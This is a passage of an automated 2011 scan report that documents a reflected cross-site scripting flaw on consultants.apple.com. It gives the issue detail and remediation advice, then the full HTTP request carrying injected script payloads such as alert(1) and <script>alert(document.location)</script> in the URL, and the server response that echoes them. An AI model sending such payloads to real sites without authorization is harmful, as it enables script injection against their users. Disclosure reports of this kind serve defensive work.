Content-Type: text/html
Content-Length: 15984

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html lang="en-us">
<head>
<title>Apple Consultants Network</title>
<meta name="Category" co
...[SNIP]...
</includes6f403;alert(1)//83b96c8fea7/consultants.css" class="search" id="g-search">
...[SNIP]...

1.38. http://consultants.apple.com/services.php/fca6c%22%3E%3Cscript%3Ealert(document.location)%3C/includes/consultants.css [REST URL parameter 4]  previous

Summary

Severity:   High
Confidence:   Certain
Host:   http://consultants.apple.com
Path:   /services.php/fca6c%22%3E%3Cscript%3Ealert(document.location)%3C/includes/consultants.css

Issue detail

The value of REST URL parameter 4 is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload 61149%3balert(1)//df6e3c0f958 was submitted in the REST URL parameter 4. This input was echoed as 61149;alert(1)//df6e3c0f958 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /services.php/fca6c%22%3E%3Cscript%3Ealert(document.location)%3C/includes/consultants.css61149%3balert(1)//df6e3c0f958 HTTP/1.1
Host: consultants.apple.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/css,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://consultants.apple.com/services.php/fca6c%22%3E%3Cscript%3Ealert(document.location)%3C/script%3Ec29f000149b
Cookie: s_cvp35b=%5B%5B'www.fakereferrerdominator.com'%2C'1310693445477'%5D%5D; s_vnum_us=ch%3Dsupport%26vn%3D6%3Bch%3Dsafari%26vn%3D1%3Bch%3Ddeveloper%26vn%3D2%3Bch%3Dbuy%26vn%3D1%3Bch%3Dsearch%26vn%3D1%3Bch%3Dhomepage%26vn%3D1%3Bch%3Dicloud%26vn%3D1%3B; s_vi=[CS]v1|27065B988515A4F3-400001A7E000BF83[CE]; POD=us~en; ac_search=xss%7C%7C%7C%7Cxssxss; dssid2=ab5a5410-d10e-4162-a971-27aa89f1d005; ac_survey=1; dfa_cookie=appleglobal%2Capplesupport%2Cappleussearch%2Cappleusdeveloper%2Capplehome%2Cappleusicloud%2Capplewwevents; s_pv=icloud%20-%20index%20(us); s_ppv=icloud%2520-%2520index%2520%2528us%2529%2C44%2C44%2C652%2C; s_pathLength=support%3D33%2Csearch%3D1%2Cdeveloper%3D1%2Chomepage%3D1%2Cicloud%3D1%2C; ccl=p7NKCnNizOBPByMB4x05+VK70oI9PA82i6aVqCM5CVI0wsINS0SjaR+mcl8QS9H1PR0fwkamgXRctU7+jsVnq6e+YW0XclJ5vt41GKzFKIdREt5Zp86dKssGVRCO+nElD/qNmEIsJWxI/0JyQoMxq5rn/azi66ks2R8n37hER9Z8NIpKhG4OnsiE29cr708NokHoU/ERCXNzccKjL+dvTsn+CPVPmT8Ep101BJK3Oqhfj1qxTt4bEJrqwXUu4n1mW/3n1t3Y8aleRMDIhhY2XSpZBQ4thPZttMacI4GzSqvWpGY5w/vOf0SbcvC64wRiNjg3oMH1drozuoHF8p90603/aR7ZrjX8Ag7/eCC6f1bUzGmdVOXrEVjDxe3hOFAHk2S8Bh6nxuy92H2Pa2cijWMKs25vS07G9k6kQ31kSaeI+Dzg4NzwyoW/XO4BCQ3VBFJSJb4wq1XGYXw15I8GekQD00Ql5Ey5N3nglqofC53EvP5vmle8nQiyBtrsGK7zhC5eYBIE83dy6sNvYd6cdaejXs27Y4podDMAqPwa2sTLik5KFF67QqQWDJzmBzY7; geo=US; ac_history=%7B%22search%22%3A%5B%5B%22xss%22%2C%22en_US%22%2C1310696158000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695987000%5D%2C%5B%22xssxss%22%2C%22en_US%22%2C1310695964000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695956000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695935000%5D%5D%2C%22kb%22%3A%5B%5B%22DL1045%22%2C%22Safari%204.1%20for%20Tiger%22%2C%22en_US%22%2C1310696242000%2C%22search%22%5D%5D%2C%22help%22%3A%5B%5D%2C%22psp%22%3A%5B%5D%2C%22offer_reason%22%3A%7B%7D%2C%22total_count%22%3A%7B%22searches%22%3A16%2C%22last_search%22%3A1310696158000%2C%22kbs%22%3A1%2C%22last_kb%22%3A1310696242000%7D%7D; s_cc=true; s_orientation=%5B%5BB%5D%5D; s_ria=Flash%20Not%20Detected%7C; s_v35=www.fakereferrerdominator.com; s_sq=applehome%3D%2526pid%253Dapple%252520-%252520index%252520(us)%2526pidt%253D1%2526oid%253Dhttp%25253A%25252F%25252Fwww.apple.com%25252Ficloud%25252F_1%2526oidt%253D1%2526ot%253DA%2526oi%253D1%26applesupport%3D%2526pid%253Dacs%25253A%25253Akb%25253A%25253Adl%25253A%25253Adl1045%25253A%25253Asafari%2525204%252520(mac%252520os%252520x%25252010.4)%25253A%25253Asafari%2525204.1%252520for%252520tiger%252520(us-en)%2526pidt%253D1%2526oid%253Dhttp%25253A%25252F%25252Fwww.apple.com%25252F_1%2526oidt%253D1%2526ot%253DA%2526oi%253D1; s_orientationHeight=652; s_invisit_us=developer%3Dtrue%3Bsupport%3Dtrue%3Bhomepage%3Dtrue%3Bicloud%3Dtrue%3B; __utma=99260172.2085989018.1310696674.1310696674.1310696674.1; __utmb=99260172.4.10.1310696674; __utmc=99260172; __utmz=99260172.1310696674.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName

Response

HTTP/1.1 200 OK
Date: Fri, 15 Jul 2011 02:27:47 GMT
Server: Apache/2.2.13 (Unix) mod_ssl/2.2.13 OpenSSL/0.9.8k DAV/2 PHP/5.3.0 mod_fastcgi/2.4.2
X-Powered-By: PHP/5.3.0
Cache-Control: max-age=60
Expires: Fri, 15 Jul 2011 02:28:47 GMT
MS-Author-Via: DAV
Content-Type: text/html
Content-Length: 15984

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html lang="en-us">
<head>
<title>Apple Consultants Network</title>
<meta name="Category" co
...[SNIP]...
</includes/consultants.css61149;alert(1)//df6e3c0f958" class="search" id="g-search">
...[SNIP]...

Report generated by XSS.CX at Thu Jul 14 21:38:25 CDT 2011.